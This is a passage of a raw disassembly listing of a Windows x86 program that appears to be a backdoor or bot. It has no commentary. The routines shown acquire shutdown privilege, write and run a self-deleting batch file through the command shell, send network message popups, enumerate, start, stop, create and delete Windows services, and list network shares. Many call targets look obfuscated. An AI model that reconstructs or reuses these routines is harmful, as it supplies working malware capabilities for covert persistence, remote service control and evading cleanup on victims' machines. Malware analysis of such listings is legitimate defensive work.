0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push ebx nop call near ptr 27E06EBh push ebx mov ebx, dword_427068 call ebx push 0 push edi push 3 push 0 push 2 push 40000000h push [ebp+arg_0] call esi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_10] push eax push esi nop call near ptr 27E0000h push esi call ebx loc_418332: ; CODE XREF: sub_418293+2Aj ; sub_418293+51j ... pop edi pop esi pop ebx leave retn sub_418293 endp ; =============== S U B R O U T I N E ======================================= sub_418337 proc near ; CODE XREF: sub_401ACD+16B1p push 1 push offset aSeshutdownpriv ; "SeShutdownPrivilege" call sub_419651 pop ecx pop ecx push 50005h push 6 call dword_4CAEB4 neg eax sbb eax, eax neg eax retn sub_418337 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418359 proc near ; CODE XREF: sub_401ACD+2754p ; ___:0041686Bp var_764 = byte ptr -764h var_364 = byte ptr -364h var_260 = byte ptr -260h var_15C = byte ptr -15Ch var_58 = dword ptr -58h var_4C = dword ptr -4Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_14 = byte ptr -14h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 764h push esi xor esi, esi cmp dword_429090, esi push edi jz short loc_41837D cmp dword_4CB044, esi jnz short loc_41837D push esi call sub_401000 pop ecx loc_41837D: ; CODE XREF: sub_418359+13j ; sub_418359+1Bj call sub_40B2BF lea eax, [ebp+var_764] push eax push 400h call near ptr 2690000h nop lea eax, [ebp+var_764] push eax lea eax, [ebp+var_260] push offset aSdel_bat ; "%sdel.bat" push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_260] push esi push esi push 2 push esi push esi push 40000000h push eax call near ptr 26F0867h nop mov edi, eax cmp edi, esi jbe loc_4184DD lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset a@echoOffRepeat ; "@echo off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"... push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_764] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_764] push eax push edi call near ptr 26E0000h nop push edi nop call near ptr 265092Ah push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_58] pop edi push edi push esi push eax call sub_41B590 add esp, 18h mov [ebp+var_58], edi mov edi, 104h lea eax, [ebp+var_15C] push edi push eax push esi mov [ebp+var_4C], offset dword_43D128 mov [ebp+var_2C], 1 mov [ebp+var_28], si nop call near ptr 268056Eh push eax nop call near ptr 2660000h lea eax, [ebp+var_15C] push eax nop call near ptr 26804D6h cmp eax, 0FFFFFFFFh jz short loc_418485 lea eax, [ebp+var_15C] push 80h push eax call near ptr 2680399h nop loc_418485: ; CODE XREF: sub_418359+118j lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_260] push eax lea eax, [ebp+var_764] push offset aComspecCSS ; "%%comspec%% /c %s %s" push eax call sub_41B886 add esp, 10h lea eax, [ebp+var_364] push edi push eax lea eax, [ebp+var_764] push eax nop call near ptr 27F0000h lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push 4008h push 1 push esi lea eax, [ebp+var_364] push esi push eax push esi nop call near ptr 2650BFCh loc_4184DD: ; CODE XREF: sub_418359+72j pop edi pop esi leave retn sub_418359 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4184E1 proc near ; CODE XREF: sub_401ACD+7232p var_294 = byte ptr -294h var_94 = dword ptr -94h var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 294h push edi xor edi, edi push 94h lea eax, [ebp+var_94] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax nop call near ptr 26C055Ah cmp [ebp+var_84], 2 jnz short loc_418577 push [ebp+arg_10] push [ebp+arg_C] call dword_4CAEF4 push edi push eax call dword_4CAF04 test eax, eax jz short loc_418569 push [ebp+arg_10] push offset dword_438984 loc_418542: ; CODE XREF: sub_4184E1+94j lea eax, [ebp+var_294] push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 20h jmp short loc_4185A1 ; --------------------------------------------------------------------------- loc_418569: ; CODE XREF: sub_4184E1+57j call near ptr 2680000h nop push eax push offset unk_43895C jmp short loc_418542 ; --------------------------------------------------------------------------- loc_418577: ; CODE XREF: sub_4184E1+3Fj lea eax, [ebp+var_294] push offset unk_43892C push eax call sub_41B886 push edi lea eax, [ebp+var_294] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 1Ch loc_4185A1: ; CODE XREF: sub_4184E1+86j pop edi leave retn sub_4184E1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4185A4 proc near ; CODE XREF: sub_401ACD+55FEp var_1C0 = byte ptr -1C0h var_15C = byte ptr -15Ch var_F8 = byte ptr -0F8h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C0h lea eax, [ebp+var_94] mov [ebp+var_94], 94h push eax call near ptr 26C055Ah nop cmp [ebp+var_90], 4 jnz short loc_4185FA cmp [ebp+var_8C], 0 jnz short loc_4185E3 push 1 pop eax cmp [ebp+var_84], eax jnz short loc_4185FA leave retn ; --------------------------------------------------------------------------- loc_4185E3: ; CODE XREF: sub_4185A4+30j cmp [ebp+var_8C], 0Ah jz short loc_4185F5 cmp [ebp+var_8C], 5Ah jnz short loc_4185FA loc_4185F5: ; CODE XREF: sub_4185A4+46j push 1 pop eax leave retn ; --------------------------------------------------------------------------- loc_4185FA: ; CODE XREF: sub_4185A4+27j ; sub_4185A4+3Bj ... push esi push edi push offset aNetapi32_dll ; "netapi32.dll" nop call near ptr 2690CB0h mov esi, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push esi nop call near ptr 26A0000h push 32h mov edi, eax push [ebp+arg_0] lea eax, [ebp+var_1C0] push eax call sub_41D834 push 32h lea eax, [ebp+var_15C] push [ebp+arg_4] push eax call sub_41D834 push 32h lea eax, [ebp+var_F8] push [ebp+arg_8] push eax call sub_41D834 lea eax, [ebp+var_F8] push eax call sub_41D817 shl eax, 1 push eax lea eax, [ebp+var_F8] push eax lea eax, [ebp+var_15C] push eax lea eax, [ebp+var_1C0] push eax push 0 call edi add esp, 3Ch mov edi, eax push esi nop call near ptr 278064Eh mov eax, edi pop edi pop esi leave retn sub_4185A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418684 proc near ; CODE XREF: sub_40111D+F7p ; ___:0040E6E2p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi nop call near ptr 2680D12h push eax call sub_41B8D8 pop ecx call sub_41B8E2 mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_427700 call sub_41C798 sub esi, eax mov eax, esi pop esi leave retn sub_418684 endp ; =============== S U B R O U T I N E ======================================= sub_4186C1 proc near ; CODE XREF: sub_401ACD:loc_406126p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_418719 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_4389A8[esi] push edi push eax call sub_41873B add esp, 14h test eax, eax jnz short loc_418709 push edi push off_4389A4[esi] push offset unk_438AB8 loc_4186F9: ; CODE XREF: sub_4186C1+56j mov esi, offset dword_4DAFF0 push esi call sub_41B886 add esp, 10h jmp short loc_418736 ; --------------------------------------------------------------------------- loc_418709: ; CODE XREF: sub_4186C1+2Aj push eax call sub_4187DD pop ecx push eax push edi push offset unk_438A8C jmp short loc_4186F9 ; --------------------------------------------------------------------------- loc_418719: ; CODE XREF: sub_4186C1+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DAFF0 push off_4389A0[eax*4] push offset unk_438A68 push esi call sub_41B886 add esp, 0Ch loc_418736: ; CODE XREF: sub_4186C1+46j mov eax, esi pop edi pop esi retn sub_4186C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41873B proc near ; CODE XREF: sub_4186C1+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4CAF68 mov edi, eax cmp edi, ebx jnz short loc_418762 nop call near ptr 2680000h mov ebx, eax jmp short loc_4187D7 ; --------------------------------------------------------------------------- loc_418762: ; CODE XREF: sub_41873B+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4CAE50 mov esi, eax cmp esi, ebx jnz short loc_418782 nop call near ptr 2680000h mov ebx, eax jmp short loc_4187CF ; --------------------------------------------------------------------------- loc_418782: ; CODE XREF: sub_41873B+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_4187B5 cmp eax, 3 jz short loc_4187A6 jle short loc_4187C8 cmp eax, 6 jg short loc_4187C8 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4CAEBC jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187A6: ; CODE XREF: sub_41873B+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4CAE58 jmp short loc_4187BC ; --------------------------------------------------------------------------- loc_4187B5: ; CODE XREF: sub_41873B+4Dj push esi call dword_4CAEC0 loc_4187BC: ; CODE XREF: sub_41873B+69j ; sub_41873B+78j test eax, eax jnz short loc_4187C8 nop call near ptr 2680000h mov ebx, eax loc_4187C8: ; CODE XREF: sub_41873B+54j ; sub_41873B+59j ... push esi call dword_4CAE6C loc_4187CF: ; CODE XREF: sub_41873B+45j push edi call dword_4CAE6C pop esi loc_4187D7: ; CODE XREF: sub_41873B+25j mov eax, ebx pop edi pop ebx leave retn sub_41873B endp ; =============== S U B R O U T I N E ======================================= sub_4187DD proc near ; CODE XREF: sub_4186C1+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_418892 jz loc_41888B add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_418855 jz short loc_41884B mov ecx, eax sub ecx, 3 jz short loc_418841 dec ecx dec ecx jz short loc_418837 dec ecx jz short loc_41882D sub ecx, 51h jz short loc_418823 sub ecx, 24h jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418823: ; CODE XREF: sub_4187DD+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41882D: ; CODE XREF: sub_4187DD+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418837: ; CODE XREF: sub_4187DD+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418841: ; CODE XREF: sub_4187DD+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_41884B: ; CODE XREF: sub_4187DD+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418855: ; CODE XREF: sub_4187DD+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_418884 dec ecx jz short loc_41887D dec ecx jz short loc_418876 dec ecx jnz loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4188FA ; --------------------------------------------------------------------------- loc_418876: ; CODE XREF: sub_4187DD+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41887D: ; CODE XREF: sub_4187DD+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418884: ; CODE XREF: sub_4187DD+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_41888B: ; CODE XREF: sub_4187DD+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_418892: ; CODE XREF: sub_4187DD+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 jz short loc_4188F5 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_418908 ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_418949[ecx] jmp off_418921[ecx*4] ; switch jump loc_4188B6: ; DATA XREF: ___:off_418921o push offset aTheSpecifiedDa ; jumptable 004188AF case 7 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188BD: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDepe ; jumptable 004188AF case 17 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188C4: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceDe_0 ; jumptable 004188AF case 10 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188CB: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasB ; jumptable 004188AF case 0 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D2: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheSpecified_0 ; jumptable 004188AF case 2 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceCoul ; jumptable 004188AF case 11 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E0: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHa_0 ; jumptable 004188AF case 14 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188E7: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheRequested_1 ; jumptable 004188AF case 3 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188EE: ; CODE XREF: sub_4187DD+D2j ; DATA XREF: ___:off_418921o push offset aTheServiceHasN ; jumptable 004188AF case 4 jmp short loc_4188FA ; --------------------------------------------------------------------------- loc_4188F5: ; CODE XREF: sub_4187DD+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4188FA: ; CODE XREF: sub_4187DD+41j ; sub_4187DD+4Bj ... push offset dword_4DA930 call sub_41B886 pop ecx pop ecx jmp short loc_41891B ; --------------------------------------------------------------------------- loc_418908: ; CODE XREF: sub_4187DD+36j ; sub_4187DD+89j ... push eax ; default ; jumptable 004188AF cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DA930 call sub_41B886 add esp, 0Ch loc_41891B: ; CODE XREF: sub_4187DD+129j mov eax, offset dword_4DA930 retn sub_4187DD endp ; --------------------------------------------------------------------------- off_418921 dd offset loc_4188CB ; DATA XREF: sub_4187DD+D2r dd offset loc_4188D2 ; jump table for switch statement dd offset loc_4188E7 dd offset loc_4188EE dd offset loc_4188B6 dd offset loc_4188C4 dd offset loc_4188D9 dd offset loc_4188E0 dd offset loc_4188BD dd offset loc_418908 byte_418949 db 0, 9, 1, 2 ; DATA XREF: sub_4187DD+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41895B proc near ; CODE XREF: sub_401ACD+45D3p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4CAF68 push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_418993: ; CODE XREF: sub_41895B+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4CAF34 test eax, eax jnz short loc_4189CD nop call near ptr 2680000h cmp eax, 0EAh jnz loc_418A81 loc_4189CD: ; CODE XREF: sub_41895B+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_418A78 lea esi, [ebp+var_188] loc_4189DE: ; CODE XREF: sub_41895B+117j mov eax, [esi+8] dec eax jz short loc_418A27 dec eax jz short loc_418A20 dec eax jz short loc_418A19 dec eax jz short loc_418A12 dec eax jz short loc_418A0B dec eax jz short loc_418A04 dec eax jz short loc_4189FD push offset aUnknown_0 ; " Unknown" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_4189FD: ; CODE XREF: sub_41895B+99j push offset aPaused_0 ; " Paused" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A04: ; CODE XREF: sub_41895B+96j push offset aPausing ; " Pausing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A0B: ; CODE XREF: sub_41895B+93j push offset aContinuing ; " Continuing" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A12: ; CODE XREF: sub_41895B+90j push offset aRunning ; " Running" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A19: ; CODE XREF: sub_41895B+8Dj push offset aStoping ; " Stoping" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A20: ; CODE XREF: sub_41895B+8Aj push offset aStarting ; " Starting" jmp short loc_418A2C ; --------------------------------------------------------------------------- loc_418A27: ; CODE XREF: sub_41895B+87j push offset aStopped ; " Stopped" loc_418A2C: ; CODE XREF: sub_41895B+A0j ; sub_41895B+A7j ... lea eax, [ebp+var_20] push eax call sub_41B886 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_41B886 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4189DE loc_418A78: ; CODE XREF: sub_41895B+77j cmp [ebp+var_8], ebx jnz loc_418993 loc_418A81: ; CODE XREF: sub_41895B+6Cj push [ebp+var_C] call dword_4CAE6C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_41895B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A98 proc near ; CODE XREF: sub_401ACD:loc_406166p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_418B32 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_418AC1 dec eax jnz short loc_418B12 push edi push 0 call sub_418C6B pop ecx pop ecx jmp short loc_418B0E ; --------------------------------------------------------------------------- loc_418AC1: ; CODE XREF: sub_418A98+18j cmp [ebp+arg_8], 0 jnz short loc_418B00 push 24h push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_418B00 push 57h pop eax loc_418AD8: ; CODE XREF: sub_418A98+78j push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A0[eax*4] push offset unk_43904C push esi call sub_41B886 add esp, 14h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B00: ; CODE XREF: sub_418A98+2Dj ; sub_418A98+3Bj push [ebp+arg_8] push edi push 0 call sub_418BBF add esp, 0Ch loc_418B0E: ; CODE XREF: sub_418A98+27j test eax, eax jnz short loc_418AD8 loc_418B12: ; CODE XREF: sub_418A98+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DABEC push off_4389A4[eax*4] push offset dword_439030 push esi call sub_41B886 add esp, 10h jmp short loc_418B52 ; --------------------------------------------------------------------------- loc_418B32: ; CODE XREF: sub_418A98+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DABEC lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_43900C push esi call sub_41B886 add esp, 0Ch loc_418B52: ; CODE XREF: sub_418A98+66j ; sub_418A98+98j mov eax, esi pop edi pop esi pop ebp retn sub_418A98 endp ; =============== S U B R O U T I N E ======================================= sub_418B58 proc near ; CODE XREF: sub_419E79+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_418B65 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_418B65: ; CODE XREF: sub_418B58+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_42717C push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_4DADEC, 1 mov ebp, eax jnz short loc_418BA2 or byte_4DADEC, 1 lea eax, [ebp+1] push eax call sub_41CFC5 pop ecx mov dword_4DAB8C, eax loc_418BA2: ; CODE XREF: sub_418B58+32j push esi push esi push ebp push dword_4DAB8C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_4DAB8C pop edi pop ebp pop ebx pop esi retn sub_418B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418BBF proc near ; CODE XREF: sub_418A98+6Ep ; sub_41A19D+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_418C2A push [ebp+arg_4] mov edi, eax call sub_418C2A push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_41BFB0 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_418C2A add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4CAE68 pop edi leave retn sub_418BBF endp ; =============== S U B R O U T I N E ======================================= sub_418C2A proc near ; CODE XREF: sub_418BBF+Ap ; sub_418BBF+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_418C37 pop ebp retn ; --------------------------------------------------------------------------- loc_418C37: ; CODE XREF: sub_418C2A+9j push ebx push esi mov esi, dword_427180 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_41CFC5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_418C2A endp ; =============== S U B R O U T I N E ======================================= sub_418C6B proc near ; CODE XREF: sub_418A98+20p ; sub_419E79+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_418C2A push [esp+8+arg_4] mov esi, eax call sub_418C2A pop ecx pop ecx push 0 push eax push esi call dword_4CAE40 pop esi retn sub_418C6B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418C8E proc near ; CODE XREF: sub_401ACD+46B0p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_418C2A xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 18h loc_418CC7: ; CODE XREF: sub_418C8E+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4CAEB8 mov ebx, eax cmp ebx, esi jz short loc_418D2A cmp ebx, 0EAh jz short loc_418D2A push ebx push ebx call sub_41945F pop ecx push eax lea eax, [ebp+var_210] push offset unk_439098 push eax call sub_41B886 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 24h jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D2A: ; CODE XREF: sub_418C8E+5Dj ; sub_418C8E+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_418D8E mov eax, [ebp+var_4] lea esi, [eax+14h] loc_418D38: ; CODE XREF: sub_418C8E+FCj push dword ptr [esi+10h] call dword_4CAE5C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_418D4F mov eax, offset aNo ; "No" loc_418D4F: ; CODE XREF: sub_418C8E+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_41B886 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_418D38 xor esi, esi loc_418D8E: ; CODE XREF: sub_418C8E+A2j push [ebp+var_4] call dword_4CB004 loc_418D97: ; CODE XREF: sub_418C8E+9Aj cmp ebx, 0EAh jz loc_418CC7 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_418C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DAF proc near ; CODE XREF: sub_401ACD:loc_4061EEp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_418E54 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_418DF1 dec eax jz short loc_418DE6 dec eax jnz short loc_418E0C push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_418EF6 add esp, 14h jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DE6: ; CODE XREF: sub_418DAF+1Dj push ebx push edi call sub_418ED5 pop ecx pop ecx jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418DF1: ; CODE XREF: sub_418DAF+1Aj cmp [ebp+arg_8], edi jz short loc_418E05 push [ebp+arg_8] push ebx push edi call sub_418E7B add esp, 0Ch jmp short loc_418E08 ; --------------------------------------------------------------------------- loc_418E05: ; CODE XREF: sub_418DAF+45j push 57h pop eax loc_418E08: ; CODE XREF: sub_418DAF+35j ; sub_418DAF+40j ... cmp eax, edi jnz short loc_418E2C loc_418E0C: ; CODE XREF: sub_418DAF+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A4[eax*4] push offset unk_439150 push esi call sub_41B886 add esp, 10h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E2C: ; CODE XREF: sub_418DAF+5Bj push eax call sub_41945F pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DADF0 push off_4389A0[eax*4] push offset unk_439120 push esi call sub_41B886 add esp, 14h jmp short loc_418E74 ; --------------------------------------------------------------------------- loc_418E54: ; CODE XREF: sub_418DAF+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DADF0 lea eax, [eax+eax*2] push off_4389A0[eax*4] push offset unk_4390F8 push esi call sub_41B886 add esp, 0Ch loc_418E74: ; CODE XREF: sub_418DAF+7Bj ; sub_418DAF+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_418DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418E7B proc near ; CODE XREF: sub_418DAF+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword 